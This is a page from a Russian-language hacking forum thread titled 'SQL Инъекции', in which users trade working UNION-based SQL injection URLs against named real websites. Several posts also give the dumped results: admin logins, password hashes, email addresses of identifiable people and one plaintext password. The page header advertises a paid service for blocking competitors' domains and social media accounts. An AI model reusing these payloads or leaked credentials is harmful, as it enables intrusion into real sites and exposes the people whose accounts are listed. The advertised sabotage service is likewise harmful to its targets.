УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 399 из 1242

399

Опции темы

Поиск в этой теме

Опции просмотра

#3981

07.12.2007, 19:19

min7

Участник форума

Регистрация: 03.09.2005

Сообщений: 123

Провел на форуме:
1896022

Репутация: 259

Код:

http://www.seacoastrugby.org/news.php?id=-123+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4/*

rugby@localhost::seacoast::5.0.27

Код:

http://www.seacoastrugby.org/news.php?id=-123+union+select+1,2,concat_ws(char(58,58),username,email,password),4+from+mos_users/*

admin::hostmaster@me-and-e.com::f749b2d0d046218a980aa301950d6aa7

#3982

07.12.2007, 19:26

Mike 007

Познающий

Регистрация: 04.04.2007

Сообщений: 54

Провел на форуме:
189215

Репутация: 86

Код:

http://socstudikantiani.fls.unipi.it/index.php?id=-1+union+select+1,2,3,user(),5,version(),7,8,9,10/*

Код:

http://rba-optima.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*

Цитата:

Object Moved

Что за??

Код:

http://www.dualtime.ru/category.php?id=-1+union+select+1,2,3/*

Код:

http://www.mywatches.ru/category.php?id=-1+union+select+1,2,3/*

Код:

http://www.atlantic-time.ru/category.php?id=-1+union+select+1,2,3/*

что за?
________________________________________

www.korsteklobor.ru

Код:

http://www.korsteklobor.ru/category.php?id=-1+union+select+1,concat(login,0x3a,password),3+from+user/*

тут всё сделал =)
логин: korsteklobor
пасс: krstklbr

Последний раз редактировалось Mike 007; 07.12.2007 в 20:04..

#3983

07.12.2007, 20:42

~~otmorozok428~~

Banned

Регистрация: 19.10.2007

Сообщений: 152

Провел на форуме:
557623

Репутация: 415

МАКС

http://www.aviasalon.com

SQL-инъекция содержится в форме поиска

Цитата:

http://www.aviasalon.com/search.php?search_string=mig29"

Двойная кавычка вызывает ошибку в SQL-запросе, что даёт возможность узнать установочный путь скрипта

/home/aviasalon.com/data/htdocs/modules/mod_search.php ,

а также увидеть текст нескольких SQL-запросов. Так, можно получить информацию об именах некоторых таблиц и их полях.

Таблица______________Поля

engine_page: id,title,menu_id,content,keywords,description,stat us
list_param_value: value, item_id
list_item: id, title, alias, type_id
list_type: alias, id, prefix, suffix, title
data_news_item: title, alias, content, anons, topic_id
data_news_topic: alias, id
data_expo_company: title, alias, about, contacts

Запрос с одинарной кавычкой вызовет ошибку в регулярном выражении, раскрыв путь скрипта на сервере (см. выше)

Цитата:

http://www.aviasalon.com/search.php?search_string=mig29'

#3984

07.12.2007, 22:02

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

Для Myke007

Усердней!!!!!!

Код:

http://www.totalgameplay.com/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,psw),10,11+from+login+limit+0,1/*

Поля :

Код:

username, psw

#3985

07.12.2007, 22:31

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

Провел на форуме:
1877761

Репутация: 237

Отправить сообщение для K1nD[e]R с помощью ICQ

Код:

http://www.futureplay.org/news.php?id=999+union+select+1,login,3,user_password,5,6,7+from+user/*

Admins Password eMail

dloosemore /e8a59ea2c530174b8f60562d05a4403f /Deborah.Loosemore@algomau.ca
praycroft /b35c7298864f797f41e7b9da8781ed63 /raycroft@algomau.ca
picto_admin /0ef2057aa44ce08666f6a5876bf8da19 /info@pictographics.com

#3986

07.12.2007, 23:05

min7

Участник форума

Регистрация: 03.09.2005

Сообщений: 123

Провел на форуме:
1896022

Репутация: 259

Код:

http://www.sthscareers.com/news.php?id=-76+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(concat_ws(char(58,58),user(),database(),version()),0x73),0x73),5,6,7,8,9,10,11,12,13,14,15/*

root@localhost::sths_hr1::4.1.10a

Код:

http://www.americanfibersystems.com/news.php?id=-71+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4,5,6,7,8,9,10,11,12/*

afsnetworks2@localhost::afs_site::4.1.20

Код:

http://www.americanfibersystems.com/news.php?id=-71+union+select+1,2,concat_ws(char(58,58),username,passwd),4,5,6,7,8,9,10,11,12+from+users/*

admin::b6983419181946ae88210bf45a998e5b
abrache@afsnetworks.com::6b340fa679eca67086d97ddbf b9894c3::majerle

#3987

07.12.2007, 23:14

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

Провел на форуме:
1877761

Репутация: 237

Код:

http://www.nfb.ca/about/news.php?id=-1585+union+select+1,version(),3,concat_ws(0x2F,login,pass),5,6,7,8,9,10,11,12,13,14+from+user/*

Version: 5.0.37-log/webadmin@localhost/texte

Admins:
Login Password

florence / *C6E74EDED542939C3FF2F2277CD9EDD14719455A
ryan /*8DC81F46F004E99DD2347305BF897C973FD50956

#3988

08.12.2007, 02:40

BlackCats

Постоянный

Регистрация: 01.02.2006

Сообщений: 970

Провел на форуме:
9254548

Репутация: 1942

мозгоёбство:

Цитата:

http://www.batiweb.com/produits/search/rub.asp?type=elements-non-porteurs-verticaux&niv=
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+WHERE+TABLE_NAME+
NOT+IN+('dtproperties','annuaire','AWARDS','AWARDS _REF_THEMATIQUES','AWARDS_TRACKING','AWARDS
_VOTE','flash_produit','indus_rub','LOGO_INDUSTRIE LS','LOGO_STATS','LOGOS_TOP','marq_rub','marque','
minisite','PARTNERS','PARTNERS_STATS','prio_marque ','rubrique','RUBRIQUE_TEXTES','sponsorise','stats _url'
,'sysconstraints','syssegments','TEST_URL'))--

стока парица, и нет ничё нормального.

Код:

http://www.filmdeculte.com/film/film.php?id=-1978+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+film/*

4-ая ветка =\

Последний раз редактировалось BlackCats; 08.12.2007 в 04:01..

#3989

09.12.2007, 00:06

min7

Участник форума

Регистрация: 03.09.2005

Сообщений: 123

Провел на форуме:
1896022

Репутация: 259

Код:

http://www.exploresouthbend.org/news.php?id=-96+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(concat_ws(char(58,58),user(),database(),version()),0x73),0x73),4,5/*

tony@seopro.com::livethelegends::4.1.10a-log

Код:

http://www.gemeindebund.at/news.php?id=-334+union+select+1,2,3,4,5,concat_ws(char(58,58),user(),database(),version()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*

gemeinde@localhost.localdomain::cad_gemeindebund:: 4.0.24-standard

#3990

09.12.2007, 02:16

SWAT

Участник форума

Регистрация: 14.12.2006

Сообщений: 211

Провел на форуме:
1541753

Репутация: 552

Код:

http://www.tweak.dk/nyheder2.php?id=-15246+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+users/*

Код:

http://www.salesafter.de/index.php?id=-30+union+select+1,VERSION(),3,4,5,6,7,8,9,10,11,12,13/*

Последний раз редактировалось SWAT; 09.12.2007 в 02:29..

Страница 399 из 1242

399

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход